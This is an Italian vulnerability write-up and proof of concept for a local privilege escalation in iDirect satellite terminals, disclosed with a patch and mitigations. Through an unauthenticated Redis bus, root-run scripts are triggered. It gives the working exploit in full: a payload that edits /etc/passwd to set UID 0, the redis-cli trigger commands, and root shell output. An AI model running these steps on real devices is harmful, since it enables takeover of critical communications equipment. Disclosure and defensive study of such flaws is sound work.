Proof-of-concept per CVE-2026-38056: il bus IPC Redis non autenticato sui terminali satellitari iDirect consente a qualsiasi utente locale di attivare l'esecuzione di script come root tramite sysmngr.
Escalation di privilegi locale tramite bus IPC Redis non autenticato
ICSA-26-183-01 | CVE-2026-38056 | CVSS 4.0 9.4 (Critico) | CWE-862 | Corretto
Il dispositivo testato era l'iQ200 ed è prodotto da ST Engineering iDirect. È un modem satellitare che si trova avvitato in rack su piattaforme petrolifere, navi cargo, siti militari sul campo e ovunque serva una connettività affidabile dove i collegamenti terrestri non arrivano. Il tipo di dispositivo che viene configurato una volta, inserito in un armadio e lasciato lì per anni.
Ho passato qualche giorno a smanettarci. Alla fine ho trovato diverse vulnerabilità zero-day; qui ne spiegherò solo una.
| Vendor | ST Engineering iDirect |
| Prodotti | Terminali iQ‑Series, terminali 3315‑Series, terminali 9‑Series |
| Firmware | <=4.5.2.1 |
| Componenti chiave | Redis 3.2.5 (bus IPC), sysmngr (daemon di gestione del sistema) |
Un paio di cose sono saltate subito all'occhio. Redis 3.2.5 del 2016. Questo non è necessariamente sfruttabile di per sé, ma dice qualcosa sul ciclo di sviluppo e su quanta attenzione riceva la sicurezza.
Quando ho ottenuto l'accesso alla shell usando l'account a bassi privilegi fornito di serie (usato dagli operatori sul campo), la prima cosa che ho fatto è stata guardare cosa fosse in ascolto.
$ netstat -tlnp
Redis sulla porta 6379 ha attirato la mia attenzione. Redis su un modem satellitare embedded è insolito, è tipicamente una tecnologia lato server. Ho provato a connettermi:
$ redis-cli PING
PONG
Nessuna password. Nessuna autenticazione.
Interessante, ma non necessariamente una vulnerabilità di per sé. La modalità protetta era abilitata, il che blocca le connessioni remote, quindi Redis era accessibile solo localmente. La domanda era: a cosa serve Redis e controlla qualcosa di sensibile?
Ho scaricato tutte le chiavi:
$ redis-cli KEYS '*'
Sono tornate 48 chiavi. La maggior parte erano dati di telemetria e di stato, stato del modem, livelli di segnale, contatori di uptime. Ma tre chiavi si distinguevano:
INSTALL_SCRIPT
INSTALL_DIR
INSTALL_START
Sembrava una pipeline di installazione software.
Ho analizzato i processi in esecuzione e ho trovato sysmngr, il demone del gestore di sistema che viene eseguito come root. Esaminandone il comportamento (osservando i pattern di accesso ai file, monitorando l'attività dei processi e testando le modifiche alle chiavi), ho capito come funziona la pipeline di installazione:
sysmngr esegue continuamente il polling della chiave INSTALL_START usando GETSET (legge il valore corrente, lo imposta a zero)INSTALL_START passa a un valore diverso da zero, sysmngr legge INSTALL_SCRIPTINSTALL_SCRIPT come rootINSTALL_DIR viene usato come directory di lavoroNessun controllo della firma sullo script. Nessuna whitelist di percorsi. Nessuna verifica della proprietà dei file. Nessun controllo dei permessi. Lo esegue e basta.
L'assunzione alla base del design era chiara: "solo processi iDirect fidati scriveranno su queste chiavi". Ma Redis non ha il controllo degli accessi abilitato, e redis-cli è preinstallato sul dispositivo. Qualunque utente locale può scrivere su qualsiasi chiave.
L'escalation completa richiede circa 10 secondi e necessita esattamente di tre comandi oltre alla scrittura di uno script payload. Nessun strumento aggiuntivo necessario, tutto è già sul dispositivo.
Inizia come utente non privilegiato:
$ whoami
testuser
$ id
uid=1002(testuser) gid=1002(testuser) groups=1002(testuser)
Scrivere un payload:
$ mkdir -p /tmp/pkg
$ cat > /tmp/escalate.sh << 'EOF'
#!/bin/sh
sed -i 's/^testuser:x:1002:1002/testuser:x:0:0/' /etc/passwd
EOF
$ chmod +x /tmp/escalate.sh
Attivazione dell'esecuzione:
$ redis-cli SET INSTALL_DIR /tmp/pkg
OK
$ redis-cli SET INSTALL_SCRIPT /tmp/escalate.sh
OK
$ redis-cli SET INSTALL_START 1
OK
Attendi due secondi. Effettua nuovamente l'accesso:
$ ssh [email protected]
$ whoami
root
$ id
uid=0(root) gid=0(root)
Il gioco è fatto. testuser è passato da UID 1002 a UID 0.
Il payload che ho usato qui è semplice, modifica solo /etc/passwd per cambiare l'UID. Ma una volta ottenuta l'esecuzione arbitraria di script come root su questo dispositivo, le possibilità sono infinite: backdoor persistenti, modifica del firmware, intercettazione del traffico, raccolta di credenziali, manipolazione del collegamento satellitare, movimento laterale verso altri dispositivi di rete.
Due difetti di progettazione si concatenano:
1. Il bus IPC Redis non ha controllo degli accessi.
Redis è distribuito come bus condiviso tra i processi di sistema senza autenticazione (requirepass è vuoto). Il modello di fiducia implicito presuppone che solo i processi iDirect si connetteranno. Questa ipotesi crolla nel momento in cui qualsiasi utente ottiene l'accesso alla shell, perché redis-cli è preinstallato e nulla impedisce a un utente locale di leggere o scrivere ogni chiave sul bus.
2. sysmngr esegue script senza validazione.
La pipeline di installazione del software si fida incondizionatamente del valore INSTALL_SCRIPT. Lo script non deve trovarsi in una directory specifica, non deve essere firmato, non deve essere di proprietà di root e non deve superare alcun controllo di integrità. sysmngr lo esegue e basta.
Ciascuno dei due difetti, da solo, sarebbe già una vulnerabilità. Insieme, creano una catena di escalation dei privilegi affidabile e banale.
L'errore di fondo è comune nei sistemi embedded: trattare "locale" come equivalente a "fidato". In un sistema multiutente, specialmente uno in cui i tecnici sul campo ricevono account limitati, localhost non è un confine di fiducia. I processi in esecuzione come utenti diversi sulla stessa macchina non hanno gli stessi privilegi, e i meccanismi IPC tra di essi devono imporlo.
Non si tratta di una vulnerabilità teorica. L'exploit è banale, affidabile e utilizza solo strumenti preinstallati.
Per questo specifico dispositivo:
idirect (UID 1500), pensato come account limitato per i tecnici sul campo, può sfruttare questa vulnerabilitàPer le distribuzioni in flotta:
9.4 (Critico) CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
ST Engineering iDirect ha corretto la vulnerabilità e raccomanda agli utenti di aggiornare il software alla versione 4.5.3.0 o successiva.
1. Aggiungere l'autenticazione Redis. Impostare un requirepass robusto in /etc/idirect/redis.conf e aggiornare tutti i processi iDirect per autenticarsi. Questa è la correzione minima praticabile.
2. Associare Redis solo al loopback. Impostare bind 127.0.0.1 per eliminare qualsiasi esposizione di rete. (La modalità protetta aiuta, ma l'associazione esplicita è difesa in profondità.)